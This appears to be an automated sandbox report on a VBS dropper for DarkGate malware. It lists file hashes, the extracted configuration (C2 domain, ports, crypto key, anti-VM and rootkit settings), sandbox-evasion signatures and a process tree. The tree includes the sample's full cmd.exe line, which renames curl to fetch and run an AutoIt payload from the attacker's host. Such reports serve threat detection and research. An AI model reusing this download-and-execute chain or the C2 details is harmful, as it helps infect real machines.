Analysis
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max time kernel
149s -
max time network
166s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
06/10/2023, 13:29
Static task
static1
Behavioral task
behavioral1
Sample
5cc2ecc53d742b200482b633d471df19bdf979796e8289d89f50cea2.vbs
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
5cc2ecc53d742b200482b633d471df19bdf979796e8289d89f50cea2.vbs
Resource
win10v2004-20230915-en
General
-
Target
5cc2ecc53d742b200482b633d471df19bdf979796e8289d89f50cea2.vbs
-
Size
142KB
-
MD5
86133160c59d00c0ca11c9716ee3f546
-
SHA1
941b5b828aa1ae3b5a68772ec31ac06158836b3f
-
SHA256
9921e057693d70d2f6bf13a04abf816c10fe209cff82cb533596ed313b9d2154
-
SHA512
d48841717c9876c69d6134c40ffe4597a296b55252675de694b462a58ce3b915840bed844bcabe69cc88be46b521d033954256aa479a778e8adad7fce4659ca3
-
SSDEEP
3072:k1KicwmC8osLn8CKmbOTtLJ+1Lqa6UndLvGi6tKYgHDNbWvi:k1OjC8oenlKmbOTn3a6UnMimONb3
Malware Config
Extracted
darkgate
usr_871663321
http://fredlomberhfile.com
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alternative_c2_port
443
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anti_analysis
true
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anti_debug
true
-
anti_vm
true
-
c2_port
2351
-
check_disk
true
-
check_ram
true
-
check_xeon
true
-
crypter_au3
true
-
crypter_dll
false
-
crypter_rawstub
false
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crypto_key
hQRoFscUtYUcau
-
internal_mutex
txtMut
-
minimum_disk
35
-
minimum_ram
7000
-
ping_interval
4
-
rootkit
true
-
startup_persistence
true
-
username
usr_871663321
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 5 4356 WScript.exe -
Downloads MZ/PE file
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 3 IoCs
pid Process 4080 btka.exe 3524 btka.exe 1732 Autoit3.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Autoit3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Autoit3.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 5 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 4356 wrote to memory of 2100 4356 WScript.exe 86 PID 4356 wrote to memory of 2100 4356 WScript.exe 86 PID 2100 wrote to memory of 4080 2100 cmd.exe 88 PID 2100 wrote to memory of 4080 2100 cmd.exe 88 PID 2100 wrote to memory of 3524 2100 cmd.exe 89 PID 2100 wrote to memory of 3524 2100 cmd.exe 89 PID 2100 wrote to memory of 1732 2100 cmd.exe 92 PID 2100 wrote to memory of 1732 2100 cmd.exe 92 PID 2100 wrote to memory of 1732 2100 cmd.exe 92
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5cc2ecc53d742b200482b633d471df19bdf979796e8289d89f50cea2.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4356 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c mkdir c:\btka & cd /d c:\btka & copy c:\windows\system32\curl.exe btka.exe & btka -H "User-Agent: curl" -o Autoit3.exe http://fredlomberhfile.com:2351 & btka -o jzxqxl.au3 http://fredlomberhfile.com:2351/msibtkaymgu & Autoit3.exe jzxqxl.au32⤵
- Suspicious use of WriteProcessMemory
PID:2100 -
\??\c:\btka\btka.exebtka -H "User-Agent: curl" -o Autoit3.exe http://fredlomberhfile.com:23513⤵
- Executes dropped EXE
PID:4080
-
-
\??\c:\btka\btka.exebtka -o jzxqxl.au3 http://fredlomberhfile.com:2351/msibtkaymgu3⤵
- Executes dropped EXE
PID:3524
-
-
\??\c:\btka\Autoit3.exeAutoit3.exe jzxqxl.au33⤵
- Executes dropped EXE
- Checks processor information in registry
PID:1732
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
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Filesize
411KB
MD51c3645ebddbe2da6a32a5f9fb43a3c23
SHA1086f74a35d5afed78ae50cf5586fafffb7845464
SHA2560ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
SHA512ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b
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Filesize
411KB
MD51c3645ebddbe2da6a32a5f9fb43a3c23
SHA1086f74a35d5afed78ae50cf5586fafffb7845464
SHA2560ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
SHA512ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b
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Filesize
411KB
MD51c3645ebddbe2da6a32a5f9fb43a3c23
SHA1086f74a35d5afed78ae50cf5586fafffb7845464
SHA2560ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
SHA512ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b
-
Filesize
908KB
MD5237ee26e8c8b322df3bd271fb9e8840f
SHA14542cfbf0c37d7ffb8984bbf699f1e322f75a01a
SHA256ad72296b8e144a02c000a9866b7822062592d3741081db13cc5b0747b151c2b5
SHA512bbf6a648749c09634e938480a9fddd6eb6f533c76a53b5188326c979799a931830fa810b3c19d0fbdfb8672fd4462d4b52ae46e2593973bdc417e43fb9ebfaa0